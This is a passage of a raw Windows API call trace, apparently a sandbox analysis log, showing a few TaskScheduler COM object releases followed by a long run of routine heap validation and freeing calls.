_File=0x7fefed02ab0) returned -1 [0147.002] IUnknown:Release (This=0x1b6980) returned 0x0 [0147.003] TaskScheduler:IUnknown:Release (This=0x1b7db0) returned 0x0 [0147.003] TaskScheduler:IUnknown:Release (This=0x1b7d60) returned 0x0 [0147.003] TaskScheduler:IUnknown:Release (This=0x1b7b30) returned 0x1 [0147.003] lstrlenW (lpString="") returned 0 [0147.003] GetProcessHeap () returned 0x2a0000 [0147.003] GetProcessHeap () returned 0x2a0000 [0147.003] HeapValidate (hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bc4c0) returned 1 [0147.003] GetProcessHeap () returned 0x2a0000 [0147.003] RtlSizeHeap (HeapHandle=0x2a0000, Flags=0x0, MemoryPointer=0x2bc4c0) returned 0x1fc [0147.003] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bc4c0 | out: hHeap=0x2a0000) returned 1 [0147.003] GetProcessHeap () returned 0x2a0000 [0147.003] GetProcessHeap () returned 0x2a0000 [0147.003] HeapValidate (hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bd550) returned 1 [0147.003] GetProcessHeap () returned 0x2a0000 [0147.003] RtlSizeHeap (HeapHandle=0x2a0000, Flags=0x0, MemoryPointer=0x2bd550) returned 0x16 [0147.003] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bd550 | out: hHeap=0x2a0000) returned 1 [0147.003] GetProcessHeap () returned 0x2a0000 [0147.003] GetProcessHeap () returned 0x2a0000 [0147.003] HeapValidate (hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bd530) returned 1 [0147.003] GetProcessHeap () returned 0x2a0000 [0147.004] RtlSizeHeap (HeapHandle=0x2a0000, Flags=0x0, MemoryPointer=0x2bd530) returned 0x18 [0147.004] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bd530 | out: hHeap=0x2a0000) returned 1 [0147.004] GetProcessHeap () returned 0x2a0000 [0147.004] GetProcessHeap () returned 0x2a0000 [0147.004] HeapValidate (hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bcdf0) returned 1 [0147.004] GetProcessHeap () returned 0x2a0000 [0147.004] RtlSizeHeap (HeapHandle=0x2a0000, Flags=0x0, MemoryPointer=0x2bcdf0) returned 0x20 [0147.004] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bcdf0 | out: hHeap=0x2a0000) returned 1 [0147.004] GetProcessHeap () returned 0x2a0000 [0147.004] GetProcessHeap () returned 0x2a0000 [0147.004] HeapValidate (hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bc060) returned 1 [0147.004] GetProcessHeap () returned 0x2a0000 [0147.004] RtlSizeHeap (HeapHandle=0x2a0000, Flags=0x0, MemoryPointer=0x2bc060) returned 0xa0 [0147.004] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bc060 | out: hHeap=0x2a0000) returned 1 [0147.005] GetProcessHeap () returned 0x2a0000 [0147.005] GetProcessHeap () returned 0x2a0000 [0147.005] HeapValidate (hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bbae0) returned 1 [0147.005] GetProcessHeap () returned 0x2a0000 [0147.005] RtlSizeHeap (HeapHandle=0x2a0000, Flags=0x0, MemoryPointer=0x2bbae0) returned 0x18 [0147.005] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bbae0 | out: hHeap=0x2a0000) returned 1 [0147.005] GetProcessHeap () returned 0x2a0000 [0147.005] GetProcessHeap () returned 0x2a0000 [0147.005] HeapValidate (hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bcb80) returned 1 [0147.005] GetProcessHeap () returned 0x2a0000 [0147.005] RtlSizeHeap (HeapHandle=0x2a0000, Flags=0x0, MemoryPointer=0x2bcb80) returned 0x20 [0147.005] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bcb80 | out: hHeap=0x2a0000) returned 1 [0147.005] GetProcessHeap () returned 0x2a0000 [0147.005] GetProcessHeap () returned 0x2a0000 [0147.005] HeapValidate (hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bc420) returned 1 [0147.006] GetProcessHeap () returned 0x2a0000 [0147.006] RtlSizeHeap (HeapHandle=0x2a0000, Flags=0x0, MemoryPointer=0x2bc420) returned 0x8c [0147.006] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bc420 | out: hHeap=0x2a0000) returned 1 [0147.006] GetProcessHeap () returned 0x2a0000 [0147.006] GetProcessHeap () returned 0x2a0000 [0147.006] HeapValidate (hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bd570) returned 1 [0147.006] GetProcessHeap () returned 0x2a0000 [0147.006] RtlSizeHeap (HeapHandle=0x2a0000, Flags=0x0, MemoryPointer=0x2bd570) returned 0x18 [0147.006] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bd570 | out: hHeap=0x2a0000) returned 1 [0147.006] GetProcessHeap () returned 0x2a0000 [0147.006] GetProcessHeap () returned 0x2a0000 [0147.006] HeapValidate (hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bcb50) returned 1 [0147.006] GetProcessHeap () returned 0x2a0000 [0147.006] RtlSizeHeap (HeapHandle=0x2a0000, Flags=0x0, MemoryPointer=0x2bcb50) returned 0x20 [0147.007] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bcb50 | out: hHeap=0x2a0000) returned 1 [0147.007] GetProcessHeap () returned 0x2a0000 [0147.007] GetProcessHeap () returned 0x2a0000 [0147.007] HeapValidate (hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bc380) returned 1 [0147.007] GetProcessHeap () returned 0x2a0000 [0147.007] RtlSizeHeap (HeapHandle=0x2a0000, Flags=0x0, MemoryPointer=0x2bc380) returned 0x8e [0147.008] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bc380 | out: hHeap=0x2a0000) returned 1 [0147.008] GetProcessHeap () returned 0x2a0000 [0147.008] GetProcessHeap () returned 0x2a0000 [0147.008] HeapValidate (hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bc360) returned 1 [0147.008] GetProcessHeap () returned 0x2a0000 [0147.008] RtlSizeHeap (HeapHandle=0x2a0000, Flags=0x0, MemoryPointer=0x2bc360) returned 0x18 [0147.008] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bc360 | out: hHeap=0x2a0000) returned 1 [0147.008] GetProcessHeap () returned 0x2a0000 [0147.008] GetProcessHeap () returned 0x2a0000 [0147.008] HeapValidate (hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bcb20) returned 1 [0147.008] GetProcessHeap () returned 0x2a0000 [0147.008] RtlSizeHeap (HeapHandle=0x2a0000, Flags=0x0, MemoryPointer=0x2bcb20) returned 0x20 [0147.009] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bcb20 | out: hHeap=0x2a0000) returned 1 [0147.009] GetProcessHeap () returned 0x2a0000 [0147.009] GetProcessHeap () returned 0x2a0000 [0147.009] HeapValidate (hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bc340) returned 1 [0147.009] GetProcessHeap () returned 0x2a0000 [0147.009] RtlSizeHeap (HeapHandle=0x2a0000, Flags=0x0, MemoryPointer=0x2bc340) returned 0xe [0147.009] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bc340 | out: hHeap=0x2a0000) returned 1 [0147.009] GetProcessHeap () returned 0x2a0000 [0147.009] GetProcessHeap () returned 0x2a0000 [0147.009] HeapValidate (hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bc320) returned 1 [0147.009] GetProcessHeap () returned 0x2a0000 [0147.009] RtlSizeHeap (HeapHandle=0x2a0000, Flags=0x0, MemoryPointer=0x2bc320) returned 0x18 [0147.009] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bc320 | out: hHeap=0x2a0000) returned 1 [0147.009] GetProcessHeap () returned 0x2a0000 [0147.009] GetProcessHeap () returned 0x2a0000 [0147.009] HeapValidate (hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2b5db0) returned 1 [0147.009] GetProcessHeap () returned 0x2a0000 [0147.009] RtlSizeHeap (HeapHandle=0x2a0000, Flags=0x0, MemoryPointer=0x2b5db0) returned 0x20 [0147.010] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2b5db0 | out: hHeap=0x2a0000) returned 1 [0147.010] GetProcessHeap () returned 0x2a0000 [0147.010] GetProcessHeap () returned 0x2a0000 [0147.010] HeapValidate (hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bbc60) returned 1 [0147.010] GetProcessHeap () returned 0x2a0000 [0147.010] RtlSizeHeap (HeapHandle=0x2a0000, Flags=0x0, MemoryPointer=0x2bbc60) returned 0x208 [0147.010] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bbc60 | out: hHeap=0x2a0000) returned 1 [0147.010] GetProcessHeap () returned 0x2a0000 [0147.010] GetProcessHeap () returned 0x2a0000 [0147.010] HeapValidate (hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bbac0) returned 1 [0147.010] GetProcessHeap () returned 0x2a0000 [0147.010] RtlSizeHeap (HeapHandle=0x2a0000, Flags=0x0, MemoryPointer=0x2bbac0) returned 0x18 [0147.010] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bbac0 | out: hHeap=0x2a0000) returned 1 [0147.011] GetProcessHeap () returned 0x2a0000 [0147.011] GetProcessHeap () returned 0x2a0000 [0147.011] HeapValidate (hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2b5cc0) returned 1 [0147.011] GetProcessHeap () returned 0x2a0000 [0147.011] RtlSizeHeap (HeapHandle=0x2a0000, Flags=0x0, MemoryPointer=0x2b5cc0) returned 0x20 [0147.011] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2b5cc0 | out: hHeap=0x2a0000) returned 1 [0147.011] GetProcessHeap () returned 0x2a0000 [0147.011] GetProcessHeap () returned 0x2a0000 [0147.011] HeapValidate (hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bd2f0) returned 1 [0147.011] GetProcessHeap () returned 0x2a0000 [0147.011] RtlSizeHeap (HeapHandle=0x2a0000, Flags=0x0, MemoryPointer=0x2bd2f0) returned 0x200 [0147.011] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bd2f0 | out: hHeap=0x2a0000) returned 1 [0147.011] GetProcessHeap () returned 0x2a0000 [0147.012] GetProcessHeap () returned 0x2a0000 [0147.012] HeapValidate (hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bbb00) returned 1 [0147.012] GetProcessHeap () returned 0x2a0000 [0147.012] RtlSizeHeap (HeapHandle=0x2a0000, Flags=0x0, MemoryPointer=0x2bbb00) returned 0x18 [0147.012] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bbb00 | out: hHeap=0x2a0000) returned 1 [0147.012] GetProcessHeap () returned 0x2a0000 [0147.012] GetProcessHeap () returned 0x2a0000 [0147.012] HeapValidate (hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2b5c30) returned 1 [0147.012] GetProcessHeap () returned 0x2a0000 [0147.012] RtlSizeHeap (HeapHandle=0x2a0000, Flags=0x0, MemoryPointer=0x2b5c30) returned 0x20 [0147.012] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2b5c30 | out: hHeap=0x2a0000) returned 1 [0147.012] GetProcessHeap () returned 0x2a0000 [0147.012] GetProcessHeap () returned 0x2a0000 [0147.012] HeapValidate (hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bc270) returned 1 [0147.012] GetProcessHeap () returned 0x2a0000 [0147.012] RtlSizeHeap (HeapHandle=0x2a0000, Flags=0x0, MemoryPointer=0x2bc270) returned 0x14 [0147.012] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bc270 | out: hHeap=0x2a0000) returned 1 [0147.012] GetProcessHeap () returned 0x2a0000 [0147.012] GetProcessHeap () returned 0x2a0000 [0147.012] HeapValidate (hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bc250) returned 1 [0147.012] GetProcessHeap () returned 0x2a0000 [0147.012] RtlSizeHeap (HeapHandle=0x2a0000, Flags=0x0, MemoryPointer=0x2bc250) returned 0x18 [0147.013] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bc250 | out: hHeap=0x2a0000) returned 1 [0147.013] GetProcessHeap () returned 0x2a0000 [0147.013] GetProcessHeap () returned 0x2a0000 [0147.013] HeapValidate (hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2b5b70) returned 1 [0147.013] GetProcessHeap () returned 0x2a0000 [0147.013] RtlSizeHeap (HeapHandle=0x2a0000, Flags=0x0, MemoryPointer=0x2b5b70) returned 0x20 [0147.013] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2b5b70 | out: hHeap=0x2a0000) returned 1 [0147.013] GetProcessHeap () returned 0x2a0000 [0147.013] GetProcessHeap () returned 0x2a0000 [0147.013] HeapValidate (hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bc290) returned 1 [0147.013] GetProcessHeap () returned 0x2a0000 [0147.013] RtlSizeHeap (HeapHandle=0x2a0000, Flags=0x0, MemoryPointer=0x2bc290) returned 0x16 [0147.013] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bc290 | out: hHeap=0x2a0000) returned 1 [0147.013] GetProcessHeap () returned 0x2a0000 [0147.013] GetProcessHeap () returned 0x2a0000 [0147.013] HeapValidate (hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bc210) returned 1 [0147.013] GetProcessHeap () returned 0x2a0000 [0147.013] RtlSizeHeap (HeapHandle=0x2a0000, Flags=0x0, MemoryPointer=0x2bc210) returned 0x18 [0147.013] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bc210 | out: hHeap=0x2a0000) returned 1 [0147.013] GetProcessHeap () returned 0x2a0000 [0147.013] GetProcessHeap () returned 0x2a0000 [0147.013] HeapValidate (hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2b5b40) returned 1 [0147.013] GetProcessHeap () returned 0x2a0000 [0147.013] RtlSizeHeap (HeapHandle=0x2a0000, Flags=0x0, MemoryPointer=0x2b5b40) returned 0x20 [0147.014] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2b5b40 | out: hHeap=0x2a0000) returned 1 [0147.014] GetProcessHeap () returned 0x2a0000 [0147.014] GetProcessHeap () returned 0x2a0000 [0147.014] HeapValidate (hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bba40) returned 1 [0147.014] GetProcessHeap () returned 0x2a0000 [0147.014] RtlSizeHeap (HeapHandle=0x2a0000, Flags=0x0, MemoryPointer=0x2bba40) returned 0x2 [0147.014] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bba40 | out: hHeap=0x2a0000) returned 1 [0147.014] GetProcessHeap () returned 0x2a0000 [0147.014] GetProcessHeap () returned 0x2a0000 [0147.014] HeapValidate (hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2b5990) returned 1 [0147.014] GetProcessHeap () returned 0x2a0000 [0147.014] RtlSizeHeap (HeapHandle=0x2a0000, Flags=0x0, MemoryPointer=0x2b5990) returned 0x20 [0147.014] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2b5990 | out: hHeap=0x2a0000) returned 1 [0147.014] GetProcessHeap () returned 0x2a0000 [0147.014] GetProcessHeap () returned 0x2a0000 [0147.014] HeapValidate (hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2b59c0) returned 1 [0147.014] GetProcessHeap () returned 0x2a0000 [0147.014] RtlSizeHeap (HeapHandle=0x2a0000, Flags=0x0, MemoryPointer=0x2b59c0) returned 0x20 [0147.015] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2b59c0 | out: hHeap=0x2a0000) returned 1 [0147.015] GetProcessHeap () returned 0x2a0000 [0147.015] GetProcessHeap () returned 0x2a0000 [0147.015] HeapValidate (hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2b59f0) returned 1 [0147.015] GetProcessHeap () returned 0x2a0000 [0147.015] RtlSizeHeap (HeapHandle=0x2a0000, Flags=0x0, MemoryPointer=0x2b59f0) returned 0x20 [0147.015] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2b59f0 | out: hHeap=0x2a0000) returned 1 [0147.015] GetProcessHeap () returned 0x2a0000 [0147.015] GetProcessHeap () returned 0x2a0000 [0147.015] HeapValidate (hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2b5a20) returned 1 [0147.015] GetProcessHeap () returned 0x2a0000 [0147.015] RtlSizeHeap (HeapHandle=0x2a0000, Flags=0x0, MemoryPointer=0x2b5a20) returned 0x20 [0147.016] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2b5a20 | out: hHeap=0x2a0000) returned 1 [0147.016] GetProcessHeap () returned 0x2a0000 [0147.016] GetProcessHeap () returned 0x2a0000 [0147.016] HeapValidate (hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bcbb0) returned 1 [0147.016] GetProcessHeap () returned 0x2a0000 [0147.016] RtlSizeHeap (HeapHandle=0x2a0000, Flags=0x0, MemoryPointer=0x2bcbb0) returned 0x20 [0147.016] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bcbb0 | out: hHeap=0x2a0000) returned 1 [0147.016] GetProcessHeap () returned 0x2a0000 [0147.016] GetProcessHeap () returned 0x2a0000 [0147.016] HeapValidate (hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bd670) returned 1 [0147.016] GetProcessHeap () returned 0x2a0000 [0147.016] RtlSizeHeap (HeapHandle=0x2a0000, Flags=0x0, MemoryPointer=0x2bd670) returned 0xc [0147.016] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bd670 | out: hHeap=0x2a0000) returned 1 [0147.016] GetProcessHeap () returned 0x2a0000 [0147.016] GetProcessHeap () returned 0x2a0000 [0147.016] HeapValidate (hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bcbe0) returned 1 [0147.016] GetProcessHeap () returned 0x2a0000 [0147.016] RtlSizeHeap (HeapHandle=0x2a0000, Flags=0x0, MemoryPointer=0x2bcbe0) returned 0x20 [0147.017] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bcbe0 | out: hHeap=0x2a0000) returned 1 [0147.017] GetProcessHeap () returned 0x2a0000 [0147.017] GetProcessHeap () returned 0x2a0000 [0147.017] HeapValidate (hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2b7ab0) returned 1 [0147.017] GetProcessHeap () returned 0x2a0000 [0147.017] RtlSizeHeap (HeapHandle=0x2a0000, Flags=0x0, MemoryPointer=0x2b7ab0) returned 0x30 [0147.017] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2b7ab0 | out: hHeap=0x2a0000) returned 1 [0147.017] GetProcessHeap () returned 0x2a0000 [0147.017] GetProcessHeap () returned 0x2a0000 [0147.017] HeapValidate (hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bcc10) returned 1 [0147.017] GetProcessHeap () returned 0x2a0000 [0147.017] RtlSizeHeap (HeapHandle=0x2a0000, Flags=0x0, MemoryPointer=0x2bcc10) returned 0x20 [0147.018] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bcc10 | out: hHeap=0x2a0000) returned 1 [0147.018] GetProcessHeap () returned 0x2a0000 [0147.018] GetProcessHeap () returned 0x2a0000 [0147.018] HeapValidate (hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2b7af0) returned 1 [0147.018] GetProcessHeap () returned 0x2a0000 [0147.018] RtlSizeHeap (HeapHandle=0x2a0000, Flags=0x0, MemoryPointer=0x2b7af0) returned 0x30 [0147.018] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2b7af0 | out: hHeap=0x2a0000) returned 1 [0147.018] GetProcessHeap () returned 0x2a0000 [0147.018] GetProcessHeap () returned 0x2a0000 [0147.018] HeapValidate (hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bcdc0) returned 1 [0147.018] GetProcessHeap () returned 0x2a0000 [0147.018] RtlSizeHeap (HeapHandle=0x2a0000, Flags=0x0, MemoryPointer=0x2bcdc0) returned 0x20 [0147.019] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bcdc0 | out: hHeap=0x2a0000) returned 1 [0147.019] GetProcessHeap () returned 0x2a0000 [0147.019] GetProcessHeap () returned 0x2a0000 [0147.019] HeapValidate (hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bd590) returned 1 [0147.019] GetProcessHeap () returned 0x2a0000 [0147.019] RtlSizeHeap (HeapHandle=0x2a0000, Flags=0x0, MemoryPointer=0x2bd590) returned 0x16 [0147.019] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bd590 | out: hHeap=0x2a0000) returned 1 [0147.019] GetProcessHeap () returned 0x2a0000 [0147.019] GetProcessHeap () returned 0x2a0000 [0147.019] HeapValidate (hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bcd90) returned 1 [0147.019] GetProcessHeap () returned 0x2a0000 [0147.020] RtlSizeHeap (HeapHandle=0x2a0000, Flags=0x0, MemoryPointer=0x2bcd90) returned 0x20 [0147.020] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bcd90 | out: hHeap=0x2a0000) returned 1 [0147.020] GetProcessHeap () returned 0x2a0000 [0147.020] GetProcessHeap () returned 0x2a0000 [0147.020] HeapValidate (hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bd5b0) returned 1 [0147.020] GetProcessHeap () returned 0x2a0000 [0147.021] RtlSizeHeap (HeapHandle=0x2a0000, Flags=0x0, MemoryPointer=0x2bd5b0) returned 0x16 [0147.021] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bd5b0 | out: hHeap=0x2a0000) returned 1 [0147.021] GetProcessHeap () returned 0x2a0000 [0147.021] GetProcessHeap () returned 0x2a0000 [0147.021] HeapValidate (hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bcd60) returned 1 [0147.021] GetProcessHeap () returned 0x2a0000 [0147.021] RtlSizeHeap (HeapHandle=0x2a0000, Flags=0x0, MemoryPointer=0x2bcd60) returned 0x20 [0147.021] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bcd60 | out: hHeap=0x2a0000) returned 1 [0147.021] GetProcessHeap () returned 0x2a0000 [0147.021] GetProcessHeap () returned 0x2a0000 [0147.022] HeapValidate (hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d9cc0) returned 1 [0147.022] GetProcessHeap () returned 0x2a0000 [0147.022] RtlSizeHeap (HeapHandle=0x2a0000, Flags=0x0, MemoryPointer=0x2d9cc0) returned 0x82 [0147.022] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d9cc0 | out: hHeap=0x2a0000) returned 1 [0147.022] GetProcessHeap () returned 0x2a0000 [0147.022] GetProcessHeap () returned 0x2a0000 [0147.022] HeapValidate (hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bcd30) returned 1 [0147.022] GetProcessHeap () returned 0x2a0000 [0147.022] RtlSizeHeap (HeapHandle=0x2a0000, Flags=0x0, MemoryPointer=0x2bcd30) returned 0x20 [0147.023] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bcd30 | out: hHeap=0x2a0000) returned 1 [0147.023] GetProcessHeap () returned 0x2a0000 [0147.023] GetProcessHeap () returned 0x2a0000 [0147.023] HeapValidate (hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bd5f0) returned 1 [0147.023] GetProcessHeap () returned 0x2a0000 [0147.023] RtlSizeHeap (HeapHandle=0x2a0000, Flags=0x0, MemoryPointer=0x2bd5f0) returned 0xe [0147.023] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bd5f0 | out: hHeap=0x2a0000) returned 1 [0147.023] GetProcessHeap () returned 0x2a0000 [0147.023] GetProcessHeap () returned 0x2a0000 [0147.023] HeapValidate (hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bcd00) returned 1 [0147.023] GetProcessHeap () returned 0x2a0000 [0147.023] RtlSizeHeap (HeapHandle=0x2a0000, Flags=0x0, MemoryPointer=0x2bcd00) returned 0x20 [0147.023] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bcd00 | out: hHeap=0x2a0000) returned 1 [0147.024] GetProcessHeap () returned 0x2a0000 [0147.024] GetProcessHeap () returned 0x2a0000 [0147.024] HeapValidate (hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bd610) returned 1 [0147.024] GetProcessHeap () returned 0x2a0000 [0147.024] RtlSizeHeap (HeapHandle=0x2a0000, Flags=0x0, MemoryPointer=0x2bd610) returned 0xc [0147.024] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bd610 | out: hHeap=0x2a0000) returned 1 [0147.024] GetProcessHeap () returned 0x2a0000 [0147.024] GetProcessHeap () returned 0x2a0000 [0147.024] HeapValidate (hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bccd0) returned 1 [0147.024] GetProcessHeap () returned 0x2a0000 [0147.024] RtlSizeHeap (HeapHandle=0x2a0000, Flags=0x0, MemoryPointer=0x2bccd0) returned 0x20 [0147.024] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bccd0 | out: hHeap=0x2a0000) returned 1 [0147.024] GetProcessHeap () returned 0x2a0000 [0147.024] GetProcessHeap () returned 0x2a0000 [0147.024] HeapValidate (hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bd630) returned 1 [0147.024] GetProcessHeap () returned 0x2a0000 [0147.024] RtlSizeHeap (HeapHandle=0x2a0000, Flags=0x0, MemoryPointer=0x2bd630) returned 0xe [0147.024] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bd630 | out: hHeap=0x2a0000) returned 1 [0147.024] GetProcessHeap () returned 0x2a0000 [0147.024] GetProcessHeap () returned 0x2a0000 [0147.025] HeapValidate (hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bcca0) returned 1 [0147.025] GetProcessHeap () returned 0x2a0000 [0147.025] RtlSizeHeap (HeapHandle=0x2a0000, Flags=0x0, MemoryPointer=0x2bcca0) returned 0x20 [0147.025] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bcca0 | out: hHeap=0x2a0000) returned 1 [0147.025] GetProcessHeap () returned 0x2a0000 [0147.025] GetProcessHeap () returned 0x2a0000 [0147.025] HeapValidate (hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bd650) returned 1 [0147.025] GetProcessHeap () returned 0x2a0000 [0147.025] RtlSizeHeap (HeapHandle=0x2a0000, Flags=0x0, MemoryPointer=0x2bd650) returned 0x10 [0147.025] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bd650 | out: hHeap=0x2a0000) returned 1 [0147.025] GetProcessHeap () returned 0x2a0000 [0147.025] GetProcessHeap () returned 0x2a0000 [0147.025] HeapValidate (hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bcc70) returned 1 [0147.025] GetProcessHeap () returned 0x2a0000 [0147.025] RtlSizeHeap (HeapHandle=0x2a0000, Flags=0x0, MemoryPointer=0x2bcc70) returned 0x20 [0147.026] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bcc70 | out: hHeap=0x2a0000) returned 1 [0147.026] GetProcessHeap () returned 0x2a0000 [0147.026] GetProcessHeap () returned 0x2a0000 [0147.026] HeapValidate (hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bba60) returned 1 [0147.026] GetProcessHeap () returned 0x2a0000 [0147.026] RtlSizeHeap (HeapHandle=0x2a0000, Flags=0x0, MemoryPointer=0x2bba60) returned 0x18 [0147.026] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bba60 | out: hHeap=0x2a0000) returned 1 [0147.026] GetProcessHeap () returned 0x2a0000 [0147.026] GetProcessHeap () returned 0x2a0000 [0147.026] HeapValidate (hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2b5a50) returned 1 [0147.027] GetProcessHeap () returned 0x2a0000 [0147.027] RtlSizeHeap (HeapHandle=0x2a0000, Flags=0x0, MemoryPointer=0x2b5a50) returned 0x20 [0147.027] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2b5a50 | out: hHeap=0x2a0000) returned 1 [0147.027] GetProcessHeap () returned 0x2a0000 [0147.027] GetProcessHeap () returned 0x2a0000 [0147.027] HeapValidate (hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2b5a80) returned 1 [0147.027] GetProcessHeap () returned 0x2a0000 [0147.027] RtlSizeHeap (HeapHandle=0x2a0000, Flags=0x0, MemoryPointer=0x2b5a80) returned 0x20 [0147.028] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2b5a80 | out: hHeap=0x2a0000) returned 1 [0147.028] GetProcessHeap () returned 0x2a0000 [0147.028] GetProcessHeap () returned 0x2a0000 [0147.028] HeapValidate (hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2b5ab0) returned 1 [0147.028] GetProcessHeap () returned 0x2a0000 